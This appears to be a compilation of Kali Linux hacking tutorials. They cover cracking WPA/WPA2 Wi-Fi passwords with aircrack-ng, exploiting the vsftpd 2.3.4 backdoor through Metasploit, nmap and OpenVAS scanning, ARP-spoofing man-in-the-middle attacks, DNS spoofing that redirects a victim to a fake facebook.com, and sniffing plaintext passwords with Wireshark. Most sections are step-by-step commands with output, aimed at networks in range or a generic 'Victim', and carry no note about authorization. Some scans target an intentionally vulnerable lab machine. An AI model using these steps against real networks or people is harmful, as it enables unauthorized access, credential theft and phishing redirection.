Hack WPA/WPA2 Wi-Fi with aircrack-ng in Kali Linux.

In this tutorial, we use 'aircrack-ng' in Kali Linux to crack a WPA wifi network. 

Perform the following steps on the Kali Linux machine.

1) Disconnect from all wireless networks.

2) Verify that your wireless card supports monitor mode.
root@kali:~# airmon-ng

Interface    Chipset        Driver

wlan0        Atheros AR9285    ath9k - [phy0]

If your wireless card is not listed above, then it does not support monitor mode and you cannot continue. 

3) Enable Monitor mode
root@kali:~# airmon-ng start wlan0
Found 2 processes that could cause trouble.
If airodump-ng, aireplay-ng or airtun-ng stops working after
a short period of time, you may want to kill (some of) them!
-e
PID    Name
2550    NetworkManager
2658    wpa_supplicant


Interface    Chipset        Driver

wlan0        Atheros AR9285    ath9k - [phy0]
                (monitor mode enabled on mon0)

Note the name of the new monitor interface, mon0

4) Disable wireless card from connecting to the internet, allowing it to focus on monitor mode instead.
root@kali:~# ifconfig wlan0 down

5) List all the wireless networks in range.
root@kali:~# airodump-ng mon0
                                                                                                                                                     BSSID              PWR  Beacons    #Data, #/s  CH  MB   ENC  CIPHER AUTH ESSID
                                                                                                                                                   
 54:B8:0A:89:76:4E  -33       16       10    4   1  54e  WPA  TKIP   PSK SHABBIR                                                                  
 94:D7:23:0C:09:20  -77       20       51    0  11  54e  WPA  CCMP   PSK  MTNL                                                                     
 9C:D6:43:CC:04:B8  -80       11        0    0   2  54e. WPA2 CCMP   PSK  dlink                                                                    
 10:7B:EF:A6:26:80  -80        3        0    0  11  54e  WPA2 CCMP   PSK  TATA                                                                     

Locate your network. Press Ctrl+C to stop the process. And note down the BSSID and CH (channel).


6) Monitor only the target network and wait for a device to connect to the network and then capture the four-way handshake.
root@kali:~# airodump-ng -c 1 --bssid 54:B8:0A:89:76:4E -w Desktop/wpa mon0

Where,
-c 1 -> channel of network is 1 (as seen in the previous output)
--bssid 54:B8:0A:89:76:4E -> BSSID copied from the previous output (The MAC address of the Access Point).
-w Desktop/wpa -> file name where the handshake will be saved.
mon0 -> the monitor interface


7) What we are really doing now is waiting for a device to connect to the network, so that we can capture the four-way handshake which we need in order to crack the password. Also, four files will show up on your desktop. This is where the handshake will be saved.

When a device connects to the network, the following message appears on the airodump screen "WPA handshake:  54:B8:0A:89:76:4E" as shown below:                                     

 CH  1 ][ Elapsed: 32 s ][ 2015-06-22 09:56 ][ WPA handshake: 54:B8:0A:89:76:4E                                        
                                                                                                                                                    
 BSSID              PWR RXQ  Beacons    #Data, #/s  CH  MB   ENC  CIPHER AUTH ESSID
                                                                                                                                                    
 54:B8:0A:89:76:4E  -29   1      314        6    0   1  54e  WPA  TKIP   PSK  SHABBIR                                                               
                                                                                                                                                    
 BSSID              STATION            PWR   Rate    Lost    Frames  Probe                                                                          
                                                                                                                                                    
 54:B8:0A:89:76:4E  0C:EE:E6:C0:37:43  -26    1e-54      0        9                                                       


The handshake has been captured. Press Ctrl+C on the airodump terminal to stop monitoring the network.

8) Launch the process of cracking the password. However, it will only crack it if the password happens to be in the wordlist  that you have selected.
root@kali:~# aircrack-ng -a2 -b 54:B8:0A:89:76:4E -w /usr/share/wordlists/fern-wifi/common.txt Desktop/*.cap

Opening Desktop/wpa-04.cap
Reading packets, please wait...

                                 Aircrack-ng 1.2 beta3


                   [00:00:00] 4 keys tested (254.57 k/s)


                         KEY FOUND! [ goodadmin ]


      Master Key     : 9A CD 12 5D 29 22 11 C7 6A 3D 75 0D 9D A7 76 C1
                       F1 2A 9B 9A 57 DD A9 EA 11 26 B0 EB 40 09 1E EB

      Transient Key  : 5A 15 F5 AD 5A F6 1F 00 78 F5 5F 0F 87 46 8C 81
                       DA 1F B4 8B 7C B2 C9 24 4B 63 6D EF 64 88 30 67
                       66 E4 5E 30 5E 4C C1 E1 F5 47 8A 7F AE F0 A6 FB
                       BF 7B 9E A6 AB ED B6 1B 43 15 43 D1 EF 6E C2 49

      EAPOL HMAC     : 79 56 57 C1 85 7D D8 A4 CD 89 B3 34 A5 36 D0 77


Where,
-a is the method used to crack the handshake. 2=WPA method
-b is the BSSID of the target access point
-w is the path to  the wordlist
Desktop/*.cap is the path to the .cap file captured in the handshake.


9) After completing the hack, disable mon0, and  enable wlan0 to be able to connect to the Internet.

root@kali:~# ifconfig mon0 down
root@kali:~# ifconfig wlan0 up





 

Metasploit: Using database to store results

It is always a better approach to store the results of penetration testing in a database. This helps us build a knowledge base about the hosts scanned , services running on the hosts, and vulnerabilities found on the hosts. Metasploit uses postgresql as the default database.


1) Start the services.
root@kali:~# service postgresql start
[ ok ] Starting PostgreSQL 9.1 database server: main.

root@kali:~# service metasploit start
Configuring Metasploit...
Creating metasploit database user 'msf3'...
Creating metasploit database 'msf3'...
insserv: warning: current start runlevel(s) (empty) of script `metasploit' overrides LSB defaults (2 3 4 5).
insserv: warning: current stop runlevel(s) (0 1 2 3 4 5 6) of script `metasploit' overrides LSB defaults (0 1 6).
[ ok ] Starting Metasploit rpc server: prosvc.
[ ok ] Starting Metasploit web server: thin.
[ ok ] Starting Metasploit worker: worker.


2) Start metasploit console.
root@kali:~# msfconsole
msf >


3) Check database status 
msf > db_status
[*] postgresql connected to msf3


4) Perform nmap scan through a database extension in Metasploit. This scan will automatically add all the details that are found to various sections of Metasploit.
msf > db_nmap -sV 192.168.122.73
[*] Nmap: Starting Nmap 6.47 ( http://nmap.org ) at 2015-06-17 11:12 IST
[*] Nmap: Nmap scan report for 192.168.122.73
[*] Nmap: Host is up (0.00030s latency).
[*] Nmap: Not shown: 977 closed ports
[*] Nmap: PORT     STATE SERVICE     VERSION
[*] Nmap: 21/tcp   open  ftp         vsftpd 2.3.4
[*] Nmap: 22/tcp   open  ssh         OpenSSH 4.7p1 Debian 8ubuntu1 (protocol 2.0)
[*] Nmap: 23/tcp   open  telnet      Linux telnetd
[*] Nmap: 25/tcp   open  smtp        Postfix smtpd
[*] Nmap: 53/tcp   open  domain      ISC BIND 9.4.2
[*] Nmap: 80/tcp   open  http        Apache httpd 2.2.8 ((Ubuntu) DAV/2)
[*] Nmap: 111/tcp  open  rpcbind     2 (RPC #100000)
[*] Nmap: 139/tcp  open  netbios-ssn Samba smbd 3.X (workgroup: WORKGROUP)
[*] Nmap: 445/tcp  open  netbios-ssn Samba smbd 3.X (workgroup: WORKGROUP)
[*] Nmap: 512/tcp  open  exec?
[*] Nmap: 513/tcp  open  login
[*] Nmap: 514/tcp  open  tcpwrapped
[*] Nmap: 1099/tcp open  rmiregistry GNU Classpath grmiregistry
[*] Nmap: 1524/tcp open  shell       Metasploitable root shell
[*] Nmap: 2049/tcp open  nfs         2-4 (RPC #100003)
[*] Nmap: 2121/tcp open  ftp         ProFTPD 1.3.1
[*] Nmap: 3306/tcp open  mysql       MySQL 5.0.51a-3ubuntu5
[*] Nmap: 5432/tcp open  postgresql  PostgreSQL DB 8.3.0 - 8.3.7
[*] Nmap: 5900/tcp open  vnc         VNC (protocol 3.3)
[*] Nmap: 6000/tcp open  X11         (access denied)
[*] Nmap: 6667/tcp open  irc         Unreal ircd
[*] Nmap: 8009/tcp open  ajp13       Apache Jserv (Protocol v1.3)
[*] Nmap: 8180/tcp open  http        Apache Tomcat/Coyote JSP engine 1.1
[*] Nmap: MAC Address: 00:0C:29:FA:DD:2A (VMware)
[*] Nmap: Service Info: Hosts:  metasploitable.localdomain, localhost, irc.Metasploitable.LAN; OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel
[*] Nmap: Service detection performed. Please report any incorrect results at http://nmap.org/submit/ .
[*] Nmap: Nmap done: 1 IP address (1 host up) scanned in 66.26 seconds
msf >

msf > db_nmap -O 192.168.122.73


4) Verify the hosts present in the database.
msf > hosts

Hosts
=====

address         mac                name  os_name  os_flavor  os_sp  purpose  info  comments
-------         ---                ----  -------  ---------  -----  -------  ----  --------
192.168.122.73  00:0c:29:fa:dd:2a        Linux               2.6.X  server      


5) View the services available on the hosts.
msf > services

Services
========

host            port  proto  name          state  info
----            ----  -----  ----          -----  ----
192.168.122.73  21    tcp    ftp           open   vsftpd 2.3.4
192.168.122.73  22    tcp    ssh           open   OpenSSH 4.7p1 Debian 8ubuntu1 protocol 2.0
192.168.122.73  23    tcp    telnet        open   Linux telnetd
192.168.122.73  25    tcp    smtp          open   Postfix smtpd
192.168.122.73  53    tcp    domain        open   ISC BIND 9.4.2
192.168.122.73  80    tcp    http          open   Apache httpd 2.2.8 (Ubuntu) DAV/2
192.168.122.73  111   tcp    rpcbind       open   2 RPC #100000
192.168.122.73  139   tcp    netbios-ssn   open   Samba smbd 3.X workgroup: WORKGROUP
192.168.122.73  445   tcp    microsoft-ds  open   Samba smbd 3.X workgroup: WORKGROUP
192.168.122.73  512   tcp    exec          open  
192.168.122.73  513   tcp    login         open  
192.168.122.73  514   tcp    shell         open  
192.168.122.73  1099  tcp    rmiregistry   open   GNU Classpath grmiregistry
192.168.122.73  1524  tcp    ingreslock    open   Metasploitable root shell
192.168.122.73  2049  tcp    nfs           open   2-4 RPC #100003
192.168.122.73  2121  tcp    ccproxy-ftp   open   ProFTPD 1.3.1
192.168.122.73  3306  tcp    mysql         open   MySQL 5.0.51a-3ubuntu5
192.168.122.73  5432  tcp    postgresql    open   PostgreSQL DB 8.3.0 - 8.3.7
192.168.122.73  5900  tcp    vnc           open   VNC protocol 3.3
192.168.122.73  6000  tcp    x11           open   access denied
192.168.122.73  6667  tcp    irc           open   Unreal ircd
192.168.122.73  8009  tcp    ajp13         open   Apache Jserv Protocol v1.3
192.168.122.73  8180  tcp    unknown       open   Apache Tomcat/Coyote JSP engine 1.1

msf >

6) Find and exploit 'vsftpd' vulnerability
msf > search vsftpd
msf > use exploit/unix/ftp/vsftpd_234_backdoor
msf exploit(vsftpd_234_backdoor) > show options
msf exploit(vsftpd_234_backdoor) > set RHOST 192.168.122.73
msf exploit(vsftpd_234_backdoor) > exploit


7) View vulnerabilities in database
msf > vulns
[*] Time: 2015-06-17 06:42:50 UTC Vuln: host=192.168.122.73 name=VSFTPD v2.3.4 Backdoor Command Execution refs=OSVDB-73573,URL-http://pastebin.com/AetT9sS5,URL-http://scarybeastsecurity.blogspot.com/2011/07/alert-vsftpd-download-backdoored.html



8) Generate XML report.
msf > db_export -f xml /root/report.xml
[*] Starting export of workspace default to /root/report.xml [ xml ]...
[*]     >> Starting export of report
[*]     >> Starting export of hosts
[*]     >> Starting export of events
[*]     >> Starting export of services
[*]     >> Starting export of web sites
[*]     >> Starting export of web pages
[*]     >> Starting export of web forms
[*]     >> Starting export of web vulns
[*]     >> Starting export of module details
[*]     >> Finished export of report
[*] Finished export of workspace default to /root/report.xml [ xml ]...

Network Scanning using nmap

1) Identify live hosts (ping scan). If the target(s) are on the same subnet, this command will send an ARP request to the LAN broadcast address and will determine whether the host is alive, based on the response that is received. If the target(s) are not on the same subnet, then ICMP echo requests will be used to determine if the hosts are alive.
root@kali:~# nmap -sn  192.168.122.1-255
Starting Nmap 6.47 ( http://nmap.org ) at 2015-06-13 19:53 IST
Nmap scan report for meru.mycompany.com (192.168.122.1)
Host is up (0.00031s latency).
MAC Address: 52:54:00:8A:8D:BA (QEMU Virtual NIC)
Nmap scan report for 192.168.122.73
Host is up (0.00066s latency).
MAC Address: 00:0C:29:FA:DD:2A (VMware)
Nmap scan report for 192.168.122.115
Host is up.
Nmap done: 255 IP addresses (3 hosts up) scanned in 2.53 seconds



2) UDP Port Scan.
root@kali:~# nmap -sU 192.168.122.73

PORT     STATE         SERVICE
53/udp   open          domain
68/udp   open|filtered dhcpc
69/udp   open|filtered tftp
111/udp  open          rpcbind
137/udp  open          netbios-ns
138/udp  open|filtered netbios-dgm
2049/udp open          nfs
MAC Address: 00:0C:29:FA:DD:2A (VMware)


3) TCP Connect Scan. Establishes a full TCP connection. If a connection is established, the port is determined to be open.
root@kali:~# nmap -sT 192.168.122.1

Starting Nmap 6.47 ( http://nmap.org ) at 2015-06-13 19:33 IST
Nmap scan report for meru.mycompany.com (192.168.122.1)
Host is up (0.79s latency).
Not shown: 981 filtered ports
PORT     STATE  SERVICE
21/tcp   open   ftp
22/tcp   open   ssh
25/tcp   open   smtp
53/tcp   open   domain
80/tcp   open   http


3) TCP Stealth Scan.(SYN Scan) A single SYN packet is sent to the destination port. If SYN+ACK is received, the port is assumed to be open. Logging solutions which only record established connections will not record any evidence of the scan.
root@kali:~# nmap -sS 192.168.122.1

Starting Nmap 6.47 ( http://nmap.org ) at 2015-06-13 19:35 IST
Nmap scan report for meru.mycompany.com (192.168.122.1)
Host is up (0.00038s latency).
Not shown: 981 filtered ports
PORT     STATE  SERVICE
21/tcp   open   ftp
22/tcp   open   ssh
25/tcp   open   smtp
53/tcp   open   domain
80/tcp   open   http
88/tcp   closed kerberos-sec



4) Banner Grabbing (with Nmap NSE)
root@kali:~# nmap -sT 192.168.122.1 -p 22 --script=banner
Starting Nmap 6.47 ( http://nmap.org ) at 2015-06-13 19:40 IST
Nmap scan report for meru.mycompany.com (192.168.122.1)
Host is up (0.00032s latency).
PORT   STATE SERVICE
22/tcp open  ssh
|_banner: SSH-2.0-OpenSSH_6.4
MAC Address: 52:54:00:8A:8D:BA (QEMU Virtual NIC)

root@kali:~# nmap -sT 192.168.122.73 -p 21 --script=banner

Starting Nmap 6.47 ( http://nmap.org ) at 2015-06-13 19:42 IST
Nmap scan report for 192.168.122.73
Host is up (0.00061s latency).
PORT   STATE SERVICE
21/tcp open  ftp
|_banner: 220 (vsFTPd 2.3.4)


5) Service Identification (using probe-response analysis)
root@kali:~# nmap -sV -p 80 192.168.122.1

Starting Nmap 6.47 ( http://nmap.org ) at 2015-06-13 19:44 IST
Nmap scan report for meru.mycompany.com (192.168.122.1)
Host is up (0.00059s latency).
PORT   STATE SERVICE VERSION
80/tcp open  http    Apache httpd 2.4.6 ((CentOS) OpenSSL/1.0.1e-fips PHP/5.4.16)


6) O.S. identification.
root@kali:~# nmap -O  192.168.122.1
Device type: general purpose
Running: Linux 2.6.X|3.X
OS CPE: cpe:/o:linux:linux_kernel:2.6 cpe:/o:linux:linux_kernel:3
OS details: Linux 2.6.32 - 3.10
Network Distance: 1 hop


7) Identify Filtering on ports. A filtered port means that the port is open but our access is being blocked by a firewall.
root@kali:~# nmap -sA 192.168.122.1 -p 22

Starting Nmap 6.47 ( http://nmap.org ) at 2015-06-14 10:30 IST
Nmap scan report for meru.mycompany.com (192.168.122.1)
Host is up (0.00038s latency).
PORT   STATE    SERVICE
22/tcp filtered ssh


root@kali:~# nmap -sA 192.168.100.1 -p 22

Starting Nmap 6.47 ( http://nmap.org ) at 2015-06-14 10:37 IST
Nmap scan report for 192.168.100.1
Host is up (0.00092s latency).
PORT   STATE      SERVICE
22/tcp unfiltered ssh

Vulnerability Scanning with OpenVAS in Kali Linux

The Metasploitable virtual machine is an intentionally vulnerable version of Ubuntu Linux designed for testing security tools and demonstrating common vulnerabilities. This virtual machine is compatible with VMWare, VirtualBox, and other common virtualization platforms.

We have installed 'Metasploitable 2' Virtual Machine in KVM in CentOS7. For Instructions on how to install Metasploitable 2 Virtual Machine in KVM, refer to this post. 

In this tutorial, we will perform a vulnerability scan on the Metasploitable2 Virtual Machine using OpenVAS in Kali Linux.

In the next post, we will hack the Metasploitable 2 VM by exploiting the vulnerabilities found in this scan.

On the Kali Linux Virtual Machine, perform the following steps:

1) Initialize/Start OpenVAS. Run the openvas-setup command to setup OpenVAS, download the latest rules, create an admin user, and start up the various services. Depending on your bandwidth and computer resources, this could take a while. Ensure that the Kali Linux VM has Internet access.

root@kali:~# openvas-setup

After  openvas-setup completes its process, it starts the OpenVAS manager, scanner, and GSAD services.

If you have already configured OpenVAS, you can simply start all the necessary services by running openvas-start.

root@kali:~# openvas-start


2) Connect to the OpenVAS Web Interface. Point your browser to https://127.0.0.1:9392, accept the self signed SSL certificate and plugin the credentials for the admin user. The admin password was generated during the setup phase.


3) Create a 'target' host. In the main menu, select Configuration -> Targets. Click on the icon for New Target (). You will see this icon in various places. It always will lead to dialog to create a new object in the respective context. Enter the address of the computer in the field "Manual" as shown below:

Name: metasploitable2
Hosts: Manual 192.168.122.73 

Click on the button 'Create Target'.


4) Create a scan for the target created above. In the main menu, select Scan Management -> Tasks. Click on the icon for New Task (). Enter the following details.

Name: meta_scan1
Scan Config: Full and Fast 
Scan Target: metasploitable2

Click on the button 'Create Task'.


5) Start the scan. Click on the Icon (Start Task) and the scan begins.


6) View the reports. In the main menu, select Scan Management -> Reports. Click on the report in the list displayed, to view the details.

In the next tutorials, we will hack the Metasploitable 2 Virtual Machine by exploiting the vulnerabilities found in this scan.

Fake Website with DNS Spoofing in Kali Linux

DNS Spoofing is based on presenting fake DNS replies to a victim in response to their DNS request and, as a result, forcing them to visit a fake website.

In normal DNS communication, the client requests the IP Address of a particular website and the DNS Server responds back with the  IP address of that  website. The client then connects to the website through the IP Address it received as a response. With DNS Spoofing, the attacker intercepts the DNS request and sends out a response containing a spoofed IP address, before the reply from the real DNS server can reach the client.

Consider the following scenario:

Gateway: 192.168.122.1
Victim :    192.168.122.3
Attacker: 192.168.122.10

There is a LAN which is connected to the Internet through a router 'Gateway'. There is a machine 'Victim' on the LAN , which will access the Internet. There is a machine 'Attacker' on the LAN, which will launch a 'man-in-the-middle' attack (ARP Spoofing attack) against the 'Victim' and 'Gateway'. All communication between 'Victim' and 'Gateway' will pass through the 'Attacker'. For a detailed explanation on ARP Spoofing, refer to this post


How will the Attacker do this ?
 
'Attacker' will send the 'Victim' false ARP replies telling that it is 'Gateway'. And 'Attacker' will send the 'Gateway' false ARP replies telling that it is 'Victim'.
When 'Victim' requests the IP address of 'www.facebook.com' , 'Attacker' will intercept the request and respond to the DNS query ( before the actual response arrives)  with a spoofed address of '192.168.122.10' (the IP Address of the Attacker). 'Victim' will make a connection request to 192.168.122.10 and will end up visiting a fake website hosted on the 'Attacker' machine.

Perform the following steps on the 'Attacker' (Kali Linux) machine:

1) Configure ARP spoofing

  1.1) Tell the 'victim' that we are 'gateway'. Open a terminal window and type the below command:
     arpspoof -i eth0 -t victimIP gatewayIP

  1.2) Tell the 'gateway' that we are 'victim'. Open a terminal window and type the below command:
     arpspoof -i eth0 -t gatewayIP victimIP

  1.3) Enable IP Forwarding in the kernel. Open a terminal window and type the below command:
    sysctl -w net.ipv4.ip_forward=1

  1.4) Ensure that Forwarding is enabled in the Firewall. And verify that the firewall doesnot block any incoming or outgoing packets.

2) Configure DNS Spoofing

2.1) Create a file 'hosts.spoof' containing the name of the website and the spoofed IP Address.

     192.168.122.10           www.facebook.com

2.2) Open a terminal window and run the following command

     dnsspoof -i eth0 -f hosts.spoof

Now, whenever the 'Attacker' will intercept a DNS request for 'www.facebook.com', it will send a fake DNS reply containing it's own IP Address. The 'Client's' browser will now be redirected to a fake website hosted on the 'Attacker's' machine.

Man-In-The-Middle Attack using Arpspoof in Kali Linux

Consider the following scenario:

There is a LAN which is connected to the Internet through a router 'Gateway'. There is a machine 'Victim' on the LAN , which is connected to the Internet through the 'Gateway'. There is a machine 'Attacker' on the LAN, which will launch a 'man-in-the-middle' attack against the 'Victim' and 'Gateway'. All communication between 'Victim' and 'Gateway' will pass through the 'Attacker'.


How will the Attacker do this ?

'Attacker' will send the 'Victim' false ARP replies telling that it is 'Gateway'. And
'Attacker' will send the 'Gateway' false ARP replies telling that it is 'Victim'.

'Victim' will make a wrong entry in it's ARP Cache associating 'Gateway's IP Address' with 'Attacker's' MAC Address.
Similarly,
The 'Gateway' will make a wrong entry in it's ARP Cache associating 'Victim's IP Address' with 'Attacker's MAC Address'.

So, when 'Victim' will send data to 'Gateway's IP Address', the data will be sent to 'Attacker's MAC Address'. The 'Attacker' will examine the data and then forward it to 'Gateway'.
Similarly,
When 'Gateway' will send data to 'Victim's IP Address', the data will be sent to 'Attacker's MAC Address'. The 'Attacker' will examine the data and then forward it to 'Victim'

Hence, this attack is also called 'ARP Spoofing' or 'ARP Cache Poisoning' attack.

When the Victim will send data to the Gateway, the data will go to the Attacker. The Attacker will examine the data for any username, passwords in PlainText. And then forward the packet to the 'Gateway' to be sent on the Internet. Similarly, the replies from the Internet, sent by the 'Gateway' to the 'Victim' will pass through the 'Attacker'.


Perform the following steps on the 'Attacker' machine:

1) Tell the 'victim' that we are 'gateway'. Open a terminal window and type the below command:
     arpspoof -i eth0 -t victimIP gatewayIP

2) Tell the 'gateway' that we are 'victim'. Open a terminal window and type the below command:
     arpspoof -i eth0 -t gatewayIP victimIP

3) Enable IP Forwarding in the kernel. Open a terminal window and type the below command:
    sysctl -w net.ipv4.ip_forward=1

4) Ensure that Forwarding is enabled in the Firewall

5) Capture HTTP, FTP, Telnet PlainText username, password using 'Wireshark'.
In this tutorial, we will use 'Wireshark' to capture username, password when a user is logging in to a website using HTTP protocol 


5.1)  Start Wireshark
Click Applications -> Kali Linux -> Top 10 Security Tools -> Wireshark

5.2) Select Interface and start Capture
Click Capture -> Interfaces . Select eth0 and press Start button.

Wireshark has now started capturing packets.

5.3) Tell Wireshark to show only http data.
In Filter: , write http

4) The screen shot below shows captured data. username 'shabbir' and password 'admin'.

Capture passwords using Wireshark in Kali Linux

Protocols such as HTTP, FTP and Telnet transmit username and password in Plaintext. If you have access to a router or gateway  through which the data is being forwarded, you can easily capture the username and password by using a packet capture tool like 'Wireshark'.

In this tutorial, we will use 'Wireshark' to capture username, password when a user is logging in to a website using HTTP protocol 

1)  Start Wireshark
Click Applications -> Kali Linux -> Top 10 Security Tools -> Wireshark

2) Select Interface and start Capture
Click Capture -> Interfaces . Select eth0 and press Start button.

Wireshark has now started capturing packets.

3) Tell Wireshark to show only http data.
In Filter: , write http

4) The screen shot below shows captured data. username 'shabbir' and password 'admin'.